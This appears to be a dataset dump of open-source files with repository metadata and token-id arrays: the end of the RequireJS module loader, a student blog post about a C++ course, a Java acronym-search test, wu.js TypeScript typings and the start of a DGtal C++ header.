{ var ret; if (value.init) { ret = value.init.apply(global, arguments); } return ret || (value.exports && getGlobal(value.exports)); } return fn; }, makeRequire: function (relMap, options) { options = options || {}; function localRequire(deps, callback, errback) { var id, map, requireMod; if (options.enableBuildCallback && callback && isFunction(callback)) { callback.__requireJsBuild = true; } if (typeof deps === 'string') { if (isFunction(callback)) { //Invalid call return onError(makeError('requireargs', 'Invalid require call'), errback); } //If require|exports|module are requested, get the //value for them from the special handlers. Caveat: //this only works while module is being defined. if (relMap && hasProp(handlers, deps)) { return handlers[deps](registry[relMap.id]); } //Synchronous access to one module. If require.get is //available (as in the Node adapter), prefer that. if (req.get) { return req.get(context, deps, relMap, localRequire); } //Normalize module name, if it contains . or .. map = makeModuleMap(deps, relMap, false, true); id = map.id; if (!hasProp(defined, id)) { return onError(makeError('notloaded', 'Module name "' + id + '" has not been loaded yet for context: ' + contextName + (relMap ? '' : '. Use require([])'))); } return defined[id]; } //Grab defines waiting in the global queue. intakeDefines(); //Mark all the dependencies as needing to be loaded. context.nextTick(function () { //Some defines could have been added since the //require call, collect them. intakeDefines(); requireMod = getModule(makeModuleMap(null, relMap)); //Store if map config should be applied to this require //call for dependencies. requireMod.skipMap = options.skipMap; requireMod.init(deps, callback, errback, { enabled: true }); checkLoaded(); }); return localRequire; } mixin(localRequire, { isBrowser: isBrowser, /** * Converts a module name + .extension into an URL path. * *Requires* the use of a module name. It does not support using * plain URLs like nameToUrl. */ toUrl: function (moduleNamePlusExt) { var ext, index = moduleNamePlusExt.lastIndexOf('.'), segment = moduleNamePlusExt.split('/')[0], isRelative = segment === '.' || segment === '..'; //Have a file extension alias, and it is not the //dots from a relative path. if (index !== -1 && (!isRelative || index > 1)) { ext = moduleNamePlusExt.substring(index, moduleNamePlusExt.length); moduleNamePlusExt = moduleNamePlusExt.substring(0, index); } return context.nameToUrl(normalize(moduleNamePlusExt, relMap && relMap.id, true), ext, true); }, defined: function (id) { return hasProp(defined, makeModuleMap(id, relMap, false, true).id); }, specified: function (id) { id = makeModuleMap(id, relMap, false, true).id; return hasProp(defined, id) || hasProp(registry, id); } }); //Only allow undef on top level require calls if (!relMap) { localRequire.undef = function (id) { //Bind any waiting define() calls to this context, //fix for #408 takeGlobalQueue(); var map = makeModuleMap(id, relMap, true), mod = getOwn(registry, id); removeScript(id); delete defined[id]; delete urlFetched[map.url]; delete undefEvents[id]; //Clean queued defines too. Go backwards //in array so that the splices do not //mess up the iteration. eachReverse(defQueue, function (args, i) { if (args[0] === id) { defQueue.splice(i, 1); } }); if (mod) { //Hold on to listeners in case the //module will be attempted to be reloaded //using a different config. if (mod.events.defined) { undefEvents[id] = mod.events; } cleanRegistry(id); } }; } return localRequire; }, /** * Called to enable a module if it is still in the registry * awaiting enablement. A second arg, parent, the parent module, * is passed in for context, when this method is overridden by * the optimizer. Not shown here to keep code compact. */ enable: function (depMap) { var mod = getOwn(registry, depMap.id); if (mod) { getModule(depMap).enable(); } }, /** * Internal method used by environment adapters to complete a load event. * A load event could be a script load or just a load pass from a synchronous * load call. * @param {String} moduleName the name of the module to potentially complete. */ completeLoad: function (moduleName) { var found, args, mod, shim = getOwn(config.shim, moduleName) || {}, shExports = shim.exports; takeGlobalQueue(); while (defQueue.length) { args = defQueue.shift(); if (args[0] === null) { args[0] = moduleName; //If already found an anonymous module and bound it //to this name, then this is some other anon module //waiting for its completeLoad to fire. if (found) { break; } found = true; } else if (args[0] === moduleName) { //Found matching define call for this script! found = true; } callGetModule(args); } //Do this after the cycle of callGetModule in case the result //of those calls/init calls changes the registry. mod = getOwn(registry, moduleName); if (!found && !hasProp(defined, moduleName) && mod && !mod.inited) { if (config.enforceDefine && (!shExports || !getGlobal(shExports))) { if (hasPathFallback(moduleName)) { return; } else { return onError(makeError('nodefine', 'No define call for ' + moduleName, null, [moduleName])); } } else { //A script that does not call define(), so just simulate //the call for it. callGetModule([moduleName, (shim.deps || []), shim.exportsFn]); } } checkLoaded(); }, /** * Converts a module name to a file path. Supports cases where * moduleName may actually be just an URL. * Note that it **does not** call normalize on the moduleName, * it is assumed to have already been normalized. This is an * internal API, not a public one. Use toUrl for the public API. */ nameToUrl: function (moduleName, ext, skipExt) { var paths, syms, i, parentModule, url, parentPath, bundleId, pkgMain = getOwn(config.pkgs, moduleName); if (pkgMain) { moduleName = pkgMain; } bundleId = getOwn(bundlesMap, moduleName); if (bundleId) { return context.nameToUrl(bundleId, ext, skipExt); } //If a colon is in the URL, it indicates a protocol is used and it is just //an URL to a file, or if it starts with a slash, contains a query arg (i.e. ?) //or ends with .js, then assume the user meant to use an url and not a module id. //The slash is important for protocol-less URLs as well as full paths. if (req.jsExtRegExp.test(moduleName)) { //Just a plain path, not module name lookup, so just return it. //Add extension if it is included. This is a bit wonky, only non-.js things pass //an extension, this method probably needs to be reworked. url = moduleName + (ext || ''); } else { //A module that needs to be converted to a path. paths = config.paths; syms = moduleName.split('/'); //For each module name segment, see if there is a path //registered for it. Start with most specific name //and work up from it. for (i = syms.length; i > 0; i -= 1) { parentModule = syms.slice(0, i).join('/'); parentPath = getOwn(paths, parentModule); if (parentPath) { //If an array, it means there are a few choices, //Choose the one that is desired if (isArray(parentPath)) { parentPath = parentPath[0]; } syms.splice(0, i, parentPath); break; } } //Join the path parts together, then figure out if baseUrl is needed. url = syms.join('/'); url += (ext || (/^data\:|\?/.test(url) || skipExt ? '' : '.js')); url = (url.charAt(0) === '/' || url.match(/^[\w\+\.\-]+:/) ? '' : config.baseUrl) + url; } return config.urlArgs ? url + ((url.indexOf('?') === -1 ? '?' : '&') + config.urlArgs) : url; }, //Delegates to req.load. Broken out as a separate function to //allow overriding in the optimizer. load: function (id, url) { req.load(context, id, url); }, /** * Executes a module callback function. Broken out as a separate function * solely to allow the build system to sequence the files in the built * layer in the right sequence. * * @private */ execCb: function (name, callback, args, exports) { return callback.apply(exports, args); }, /** * callback for script loads, used to check status of loading. * * @param {Event} evt the event from the browser for the script * that was loaded. */ onScriptLoad: function (evt) { //Using currentTarget instead of target for Firefox 2.0's sake. Not //all old browsers will be supported, but this one was easy enough //to support and still makes sense. if (evt.type === 'load' || (readyRegExp.test((evt.currentTarget || evt.srcElement).readyState))) { //Reset interactive script so a script node is not held onto for //to long. interactiveScript = null; //Pull out the name of the module and the context. var data = getScriptData(evt); context.completeLoad(data.id); } }, /** * Callback for script errors. */ onScriptError: function (evt) { var data = getScriptData(evt); if (!hasPathFallback(data.id)) { return onError(makeError('scripterror', 'Script error for: ' + data.id, evt, [data.id])); } } }; context.require = context.makeRequire(); return context; } /** * Main entry point. * * If the only argument to require is a string, then the module that * is represented by that string is fetched for the appropriate context. * * If the first argument is an array, then it will be treated as an array * of dependency string names to fetch. An optional function callback can * be specified to execute when all of those dependencies are available. * * Make a local req variable to help Caja compliance (it assumes things * on a require that are not standardized), and to give a short * name for minification/local scope use. */ req = requirejs = function (deps, callback, errback, optional) { //Find the right context, use default var context, config, contextName = defContextName; // Determine if have config object in the call. if (!isArray(deps) && typeof deps !== 'string') { // deps is a config object config = deps; if (isArray(callback)) { // Adjust args if there are dependencies deps = callback; callback = errback; errback = optional; } else { deps = []; } } if (config && config.context) { contextName = config.context; } context = getOwn(contexts, contextName); if (!context) { context = contexts[contextName] = req.s.newContext(contextName); } if (config) { context.configure(config); } return context.require(deps, callback, errback); }; /** * Support require.config() to make it easier to cooperate with other * AMD loaders on globally agreed names. */ req.config = function (config) { return req(config); }; /** * Execute something after the current tick * of the event loop. Override for other envs * that have a better solution than setTimeout. * @param {Function} fn function to execute later. */ req.nextTick = typeof setTimeout !== 'undefined' ? function (fn) { setTimeout(fn, 4); } : function (fn) { fn(); }; /** * Export require as a global, but only if it does not already exist. */ if (!require) { require = req; } req.version = version; //Used to filter out dependencies that are already paths. req.jsExtRegExp = /^\/|:|\?|\.js$/; req.isBrowser = isBrowser; s = req.s = { contexts: contexts, newContext: newContext }; //Create default context. req({}); //Exports some context-sensitive methods on global require. each([ 'toUrl', 'undef', 'defined', 'specified' ], function (prop) { //Reference from contexts instead of early binding to default context, //so that during builds, the latest instance of the default context //with its config gets used. req[prop] = function () { var ctx = contexts[defContextName]; return ctx.require[prop].apply(ctx, arguments); }; }); if (isBrowser) { head = s.head = document.getElementsByTagName('head')[0]; //If BASE tag is in play, using appendChild is a problem for IE6. //When that browser dies, this can be removed. Details in this jQuery bug: //http://dev.jquery.com/ticket/2709 baseElement = document.getElementsByTagName('base')[0]; if (baseElement) { head = s.head = baseElement.parentNode; } } /** * Any errors that require explicitly generates will be passed to this * function. Intercept/override it if you want custom error handling. * @param {Error} err the error object. */ req.onError = defaultOnError; /** * Creates the node for the load command. Only used in browser envs. */ req.createNode = function (config, moduleName, url) { var node = config.xhtml ? document.createElementNS('http://www.w3.org/1999/xhtml', 'html:script') : document.createElement('script'); node.type = config.scriptType || 'text/javascript'; node.charset = 'utf-8'; node.async = true; return node; }; /** * Does the request to load a module for the browser case. * Make this a separate function to allow other environments * to override it. * * @param {Object} context the require context to find state. * @param {String} moduleName the name of the module. * @param {Object} url the URL to the module. */ req.load = function (context, moduleName, url) { var config = (context && context.config) || {}, node; if (isBrowser) { //In the browser so use a script tag node = req.createNode(config, moduleName, url); node.setAttribute('data-requirecontext', context.contextName); node.setAttribute('data-requiremodule', moduleName); //Set up load listener. Test attachEvent first because IE9 has //a subtle issue in its addEventListener and script onload firings //that do not match the behavior of all other browsers with //addEventListener support, which fire the onload event for a //script right after the script execution. See: //https://connect.microsoft.com/IE/feedback/details/648057/script-onload-event-is-not-fired-immediately-after-script-execution //UNFORTUNATELY Opera implements attachEvent but does not follow the script //script execution mode. if (node.attachEvent && //Check if node.attachEvent is artificially added by custom script or //natively supported by browser //read https://github.com/jrburke/requirejs/issues/187 //if we can NOT find [native code] then it must NOT natively supported. //in IE8, node.attachEvent does not have toString() //Note the test for "[native code" with no closing brace, see: //https://github.com/jrburke/requirejs/issues/273 !(node.attachEvent.toString && node.attachEvent.toString().indexOf('[native code') < 0) && !isOpera) { //Probably IE. IE (at least 6-8) do not fire //script onload right after executing the script, so //we cannot tie the anonymous define call to a name. //However, IE reports the script as being in 'interactive' //readyState at the time of the define call. useInteractive = true; node.attachEvent('onreadystatechange', context.onScriptLoad); //It would be great to add an error handler here to catch //404s in IE9+. However, onreadystatechange will fire before //the error handler, so that does not help. If addEventListener //is used, then IE will fire error before load, but we cannot //use that pathway given the connect.microsoft.com issue //mentioned above about not doing the 'script execute, //then fire the script load event listener before execute //next script' that other browsers do. //Best hope: IE10 fixes the issues, //and then destroys all installs of IE 6-9. //node.attachEvent('onerror', context.onScriptError); } else { node.addEventListener('load', context.onScriptLoad, false); node.addEventListener('error', context.onScriptError, false); } node.src = url; //For some cache cases in IE 6-8, the script executes before the end //of the appendChild execution, so to tie an anonymous define //call to the module name (which is stored on the node), hold on //to a reference to this node, but clear after the DOM insertion. currentlyAddingScript = node; if (baseElement) { head.insertBefore(node, baseElement); } else { head.appendChild(node); } currentlyAddingScript = null; return node; } else if (isWebWorker) { try { //In a web worker, use importScripts. This is not a very //efficient use of importScripts, importScripts will block until //its script is downloaded and evaluated. However, if web workers //are in play, the expectation that a build has been done so that //only one script needs to be loaded anyway. This may need to be //reevaluated if other use cases become common. importScripts(url); //Account for anonymous modules context.completeLoad(moduleName); } catch (e) { context.onError(makeError('importscripts', 'importScripts failed for ' + moduleName + ' at ' + url, e, [moduleName])); } } }; function getInteractiveScript() { if (interactiveScript && interactiveScript.readyState === 'interactive') { return interactiveScript; } eachReverse(scripts(), function (script) { if (script.readyState === 'interactive') { return (interactiveScript = script); } }); return interactiveScript; } //Look for a data-main script attribute, which could also adjust the baseUrl. if (isBrowser && !cfg.skipDataMain) { //Figure out baseUrl. Get it from the script tag with require.js in it. eachReverse(scripts(), function (script) { //Set the 'head' where we can append children by //using the script's parent. if (!head) { head = script.parentNode; } //Look for a data-main attribute to set main script for the page //to load. If it is there, the path to data main becomes the //baseUrl, if it is not already set. dataMain = script.getAttribute('data-main'); if (dataMain) { //Preserve dataMain in case it is a path (i.e. contains '?') mainScript = dataMain; //Set final baseUrl if there is not already an explicit one. if (!cfg.baseUrl) { //Pull off the directory of data-main for use as the //baseUrl. src = mainScript.split('/'); mainScript = src.pop(); subPath = src.length ? src.join('/') + '/' : './'; cfg.baseUrl = subPath; } //Strip off any trailing .js since mainScript is now //like a module name. mainScript = mainScript.replace(jsSuffixRegExp, ''); //If mainScript is still a path, fall back to dataMain if (req.jsExtRegExp.test(mainScript)) { mainScript = dataMain; } //Put the data-main script in the files to load. cfg.deps = cfg.deps ? cfg.deps.concat(mainScript) : [mainScript]; return true; } }); } /** * The function that handles definitions of modules. Differs from * require() in that a string for the module should be the first argument, * and the function to execute after dependencies are loaded should * return a value to define the module corresponding to the first argument's * name. */ define = function (name, deps, callback) { var node, context; //Allow for anonymous modules if (typeof name !== 'string') { //Adjust args appropriately callback = deps; deps = name; name = null; } //This module may not have dependencies if (!isArray(deps)) { callback = deps; deps = null; } //If no name, and callback is a function, then figure out if it a //CommonJS thing with dependencies. if (!deps && isFunction(callback)) { deps = []; //Remove comments from the callback string, //look for require calls, and pull them into the dependencies, //but only if there are function args. if (callback.length) { callback .toString() .replace(commentRegExp, '') .replace(cjsRequireRegExp, function (match, dep) { deps.push(dep); }); //May be a CommonJS thing even without require calls, but still //could use exports, and module. Avoid doing exports and module //work though if it just needs require. //REQUIRES the function to expect the CommonJS variables in the //order listed below. deps = (callback.length === 1 ? ['require'] : ['require', 'exports', 'module']).concat(deps); } } //If in IE 6-8 and hit an anonymous define() call, do the interactive //work. if (useInteractive) { node = currentlyAddingScript || getInteractiveScript(); if (node) { if (!name) { name = node.getAttribute('data-requiremodule'); } context = contexts[node.getAttribute('data-requirecontext')]; } } //Always save off evaluating the def call until the script onload handler. //This allows multiple modules to be in a file without prematurely //tracing dependencies, and allows for anonymous module support, //where the module name is not known until the script onload event //occurs. If no context, use the global queue, and get it processed //in the onscript load callback. (context ? context.defQueue : globalDefQueue).push([name, deps, callback]); }; define.amd = { jQuery: true }; /** * Executes the text. Normally just uses eval, but can be modified * to use a better, environment-specific call. Only used for transpiling * loader plugins, not for plain JS modules. * @param {String} text the text to execute/evaluate. */ req.exec = function (text) { /*jslint evil: true */ return eval(text); }; //Set up with config info. req(cfg); }(this));
suttonj/YoutubePlaylistCuratorChromeExtension
src/js/thirdParty/require.js
JavaScript
apache-2.0
83,052
[ 30522, 1013, 1008, 1008, 6819, 2213, 1024, 3802, 1024, 24529, 1027, 1018, 1024, 25430, 1027, 1018, 1024, 8541, 1027, 1018, 1008, 1030, 6105, 5478, 22578, 1016, 1012, 1015, 1012, 2321, 9385, 1006, 1039, 1007, 2230, 1011, 2297, 1010, 1996, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
--- layout: post title: Week 1 Review --- ## Weekly Review (8/30/15) It's Sunday afternoon on the 30th of August, and I've finally managed to set this Jekyll thing up, which means I can now talk about my time in the class this past week! Hooray! Besides being the only class I have on Mondays, Wednesdays, and Fridays, Object Oriented Programming is great so far. Professor Downing structures the course so that the incoming student has a background in programming, but not necessarily in C++. This is great because myself (as well as many other students in the course, I'd assume), have made it through Data Structures (CS 314, a prerequisite to the prerequisite of this class, CS 429), but have no background in the language of C++. While I'm not the biggest fan of the teaching method Prof. Downing uses (the calling out of students at random to answerom questions), the lectures he has given thus far are very interesting and in-depth, taking time to explain even the most minute things. I feel like this course will give students more than just knowledge in a new language at the end of the day; I think it'll give them a much more in-depth idea of how to approach programming problems as well as a set of tools to use during the development process that they didn't even know they had. ## Tip of the Week http://gitref.org/ Familiarizing yourself with Git and the commands associated with it will prove to be invaluable to you as you progress in your programming career. The above website is a bare-bones, to-the-point reference site that helps this process.
ibruton/ibruton.github.io
_posts/2015-8-30-Week-1-Review.md
Markdown
mit
1,577
[ 30522, 1011, 1011, 1011, 9621, 1024, 2695, 2516, 1024, 2733, 1015, 3319, 1011, 1011, 1011, 1001, 1001, 4882, 3319, 1006, 1022, 1013, 2382, 1013, 2321, 1007, 2009, 1005, 1055, 4465, 5027, 2006, 1996, 13293, 1997, 2257, 1010, 1998, 1045, 10...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package net.fortytwo.smsn.brain.model; import net.fortytwo.smsn.SemanticSynchrony; import net.fortytwo.smsn.brain.BrainTestBase; import net.fortytwo.smsn.brain.model.entities.Atom; import net.fortytwo.smsn.brain.model.pg.PGAtom; import org.junit.Test; import java.io.IOException; import java.util.Collection; import static org.junit.Assert.assertEquals; public class GetAtomsByAcronymTest extends BrainTestBase { @Override protected TopicGraph createAtomGraph() throws IOException { return createNeo4jAtomGraph(); } @Test public void testAcronymSearch() throws Exception { Atom a = topicGraph.createAtomWithProperties(filter, null); a.setTitle("Arthur\tP. Dent "); Atom t = topicGraph.createAtomWithProperties(filter, null); t.setTitle("Arthur's moth-eaten towel"); Atom l = topicGraph.createAtomWithProperties(filter, null); l.setTitle("ooooooooo0ooooooooo1ooooooooo2ooooooooo3ooooooooo4ooooooooo5ooooooooo6ooooooooo7" + "ooooooooo8ooooooooo9oooooooooAoooooooooBoooooooooCoooooooooDoooooooooEoooooooooF"); Collection<Atom> result; // oops. This is not a full-text query. result = topicGraph.getAtomsByAcronym("Arthur*", filter); assertEquals(0, result.size()); // l has not been indexed because its value is too long result = topicGraph.getAtomsByAcronym("o", filter); assertEquals(0, result.size()); for (Atom atom : topicGraph.getAllAtoms()) { System.out.println(atom.getId() + ": " + ((PGAtom) atom).asVertex().property(SemanticSynchrony.PropertyKeys.ACRONYM)); } // exact acronym match // capitalization, punctuation, and idiosyncrasies of white space are ignored result = topicGraph.getAtomsByAcronym("apd", filter); assertEquals(1, result.size()); assertEquals(a.getId(), result.iterator().next().getId()); // hyphens and underscores are treated as white space, while apostrophes and other punctuation are ignored result = topicGraph.getAtomsByAcronym("amet", filter); assertEquals(1, result.size()); assertEquals(t.getId(), result.iterator().next().getId()); // acronym search is case insensitive result = topicGraph.getAtomsByAcronym("APD", filter); assertEquals(1, result.size()); assertEquals(a.getId(), result.iterator().next().getId()); } }
joshsh/extendo
brain/src/test/java/net/fortytwo/smsn/brain/model/GetAtomsByAcronymTest.java
Java
mit
2,472
[ 30522, 7427, 5658, 1012, 5659, 2102, 12155, 1012, 22434, 2078, 1012, 4167, 1012, 2944, 1025, 12324, 5658, 1012, 5659, 2102, 12155, 1012, 22434, 2078, 1012, 28081, 6038, 2818, 4948, 2100, 1025, 12324, 5658, 1012, 5659, 2102, 12155, 1012, 224...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// Type definitions for wu.js 2.1 // Project: https://fitzgen.github.io/wu.js/ // Definitions by: phiresky <https://github.com/phiresky> // Definitions: https://github.com/DefinitelyTyped/DefinitelyTyped declare function wu<T>(iterable: Iterable<T>): wu.WuIterable<T>; export = wu; export as namespace wu; declare namespace wu { type Consumer<T> = (t: T) => void; type Filter<T> = (t: T) => boolean; // only static function chain<T>(...iters: Array<Iterable<T>>): WuIterable<T>; function count(start?: number, step?: number): WuIterable<number>; function curryable(fun: (...x: any[]) => any, expected?: number): any; function entries<T>(obj: { [i: string]: T }): WuIterable<[string, T]>; function keys(obj: { [i: string]: any }): WuIterable<string>; function values<T>(obj: { [i: string]: T }): WuIterable<T>; function repeat<T>(obj: T, times?: number): WuIterable<T>; // also copied to WuIterable function asyncEach(fn: Consumer<any>, maxBlock?: number, timeout?: number): void; function drop<T>(n: number, iter: Iterable<T>): WuIterable<T>; function dropWhile<T>(fn: Filter<T>, iter: Iterable<T>): WuIterable<T>; function cycle<T>(iter: Iterable<T>): Iterable<T>; function chunk<T>(n: number, iter: Iterable<T>): WuIterable<T[]>; function concatMap<T, U>(fn: (t: T) => Iterable<U>, iter: Iterable<T>): WuIterable<U>; function enumerate<T>(iter: Iterable<T>): Iterable<[number, T]>; function every<T>(fn: Filter<T>, iter: Iterable<T>): boolean; function filter<T>(fn: Filter<T>, iter: Iterable<T>): WuIterable<T>; function find<T>(fn: Filter<T>, iter: Iterable<T>): T | undefined; function flatten(iter: Iterable<any>): WuIterable<any>; function flatten(shallow: boolean, iter: Iterable<any>): WuIterable<any>; function forEach<T>(fn: Consumer<T>, iter: Iterable<T>): void; function has<T>(t: T, iter: Iterable<T>): boolean; // invoke<T, U>(name:string, ...t:T[], iter: Iterable<(t:T)=>U>): WuIterable<U>; const invoke: any; function map<T, U>(fn: (t: T) => U, iter: Iterable<T>): WuIterable<U>; // pluck<T>(attribute:string, iter: Iterable<{[attribute]: T}>): WuIterable<T>; function pluck(attribute: string, iter: Iterable<any>): WuIterable<any>; function reduce<T>(fn: (a: T, b: T) => T, iter: Iterable<T>): T; function reduce<T>(fn: (a: T, b: T) => T, initial: T, iter: Iterable<T>): T; function reduce<T, U>(fn: (a: U, b: T) => U, iter: Iterable<T>): U; function reduce<T, U>(fn: (a: U, b: T) => U, initial: U, iter: Iterable<T>): U; function reductions<T>(fn: (a: T, b: T) => T, iter: Iterable<T>): WuIterable<T>; function reductions<T>(fn: (a: T, b: T) => T, initial: T, iter: Iterable<T>): WuIterable<T>; function reductions<T, U>(fn: (a: U, b: T) => U, iter: Iterable<T>): WuIterable<U>; function reductions<T, U>(fn: (a: U, b: T) => U, initial: U, iter: Iterable<T>): WuIterable<U>; function reject<T>(fn: Filter<T>, iter: Iterable<T>): WuIterable<T>; function slice<T>(iter: Iterable<T>): WuIterable<T>; function slice<T>(start: number, iter: Iterable<T>): WuIterable<T>; function slice<T>(start: number, stop: number, iter: Iterable<T>): WuIterable<T>; function some<T>(fn: Filter<T>, iter: Iterable<T>): boolean; function spreadMap<T>(fn: (...x: any[]) => T, iter: Iterable<any[]>): WuIterable<T>; function take<T>(n: number, iter: Iterable<T>): WuIterable<T>; function takeWhile<T>(fn: Filter<T>, iter: Iterable<T>): WuIterable<T>; function tap<T>(fn: Consumer<T>, iter: Iterable<T>): WuIterable<T>; function unique<T>(iter: Iterable<T>): WuIterable<T>; function zip<T, U>(iter2: Iterable<T>, iter: Iterable<U>): WuIterable<[T, U]>; function zipLongest<T, U>(iter2: Iterable<T>, iter: Iterable<U>): WuIterable<[T, U]>; const zipWith: any; const unzip: any; function tee<T>(iter: Iterable<T>): Array<WuIterable<T>>; function tee<T>(n: number, iter: Iterable<T>): Array<WuIterable<T>>; interface WuIterable<T> extends IterableIterator<T> { // generated from section "copied to WuIterable" above via // sed -r 's/(, )?iter: Iterable<\w+>//' | // sed -r 's/^(\s+\w+)<T>/\1/' | // sed -r 's/^(\s+\w+)<T, /\1</' asyncEach(fn: Consumer<any>, maxBlock?: number, timeout?: number): any; drop(n: number): WuIterable<T>; dropWhile(fn: Filter<T>): WuIterable<T>; cycle(): Iterable<T>; chunk(n: number): WuIterable<T[]>; concatMap<U>(fn: (t: T) => Iterable<U>): WuIterable<U>; enumerate(): Iterable<[number, T]>; every(fn: Filter<T>): boolean; filter(fn: Filter<T>): WuIterable<T>; find(fn: Filter<T>): T | undefined; flatten(shallow?: boolean): WuIterable<any>; forEach(fn: Consumer<T>): void; has(t: T): boolean; // invoke<T, U>(name:string, ...t:T[], iter: Iterable<(t:T)=>U>): WuIterable<U>; invoke: any; map<U>(fn: (t: T) => U): WuIterable<U>; // pluck<T>(attribute:string, iter: Iterable<{[attribute]: T}>): WuIterable<T>; pluck(attribute: string): WuIterable<any>; reduce(fn: (a: T, b: T) => T, initial?: T): T; reduce<U>(fn: (a: U, b: T) => U, initial?: U): U; reductions(fn: (a: T, b: T) => T, initial?: T): WuIterable<T>; reductions<U>(fn: (a: U, b: T) => U, initial?: U): WuIterable<U>; reject(fn: Filter<T>): WuIterable<T>; slice(start?: number, stop?: number): WuIterable<T>; some(fn: Filter<T>): boolean; spreadMap(fn: (...x: any[]) => T, iter: Iterable<any[]>): WuIterable<T>; take(n: number): WuIterable<T>; takeWhile(fn: Filter<T>): WuIterable<T>; tap(fn: Consumer<T>): WuIterable<T>; unique(): WuIterable<T>; // TODO: this makes no sense, where did the second entry come from? // tslint:disable-next-line no-unnecessary-generics zip<U>(iter2: Iterable<T>): WuIterable<[T, U]>; // tslint:disable-next-line no-unnecessary-generics zipLongest<U>(iter2: Iterable<T>): WuIterable<[T, U]>; zipWith: any; unzip: any; tee(n?: number): Array<WuIterable<T>>; } }
AgentME/DefinitelyTyped
types/wu/index.d.ts
TypeScript
mit
5,818
[ 30522, 1013, 1013, 2828, 15182, 2005, 8814, 1012, 1046, 2015, 1016, 1012, 1015, 1013, 1013, 2622, 1024, 16770, 1024, 1013, 1013, 27706, 6914, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 8814, 1012, 1046, 2015, 1013, 1013, 1013, 15182, 2011...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * **/ #pragma once /** * @file TrueLocalEstimatorOnPoints.h * @brief Computes the true quantity to each element of a range associated to a parametric shape. * @author David Coeurjolly (\c david.coeurjolly@liris.cnrs.fr ) * Laboratoire d'InfoRmatique en Image et Systèmes d'information - LIRIS (CNRS, UMR 5205), CNRS, France * * @date 2011/06/27 * * Header file for module TrueLocalEstimatorOnPoints.cpp * * This file is part of the DGtal library. * * @see testLengthEstimators.cpp, testTrueLocalEstimator.cpp */ #if defined(TrueLocalEstimatorOnPoints_RECURSES) #error Recursive header files inclusion detected in TrueLocalEstimatorOnPoints.h #else // defined(TrueLocalEstimatorOnPoints_RECURSES) /** Prevents recursive inclusion of headers. */ #define 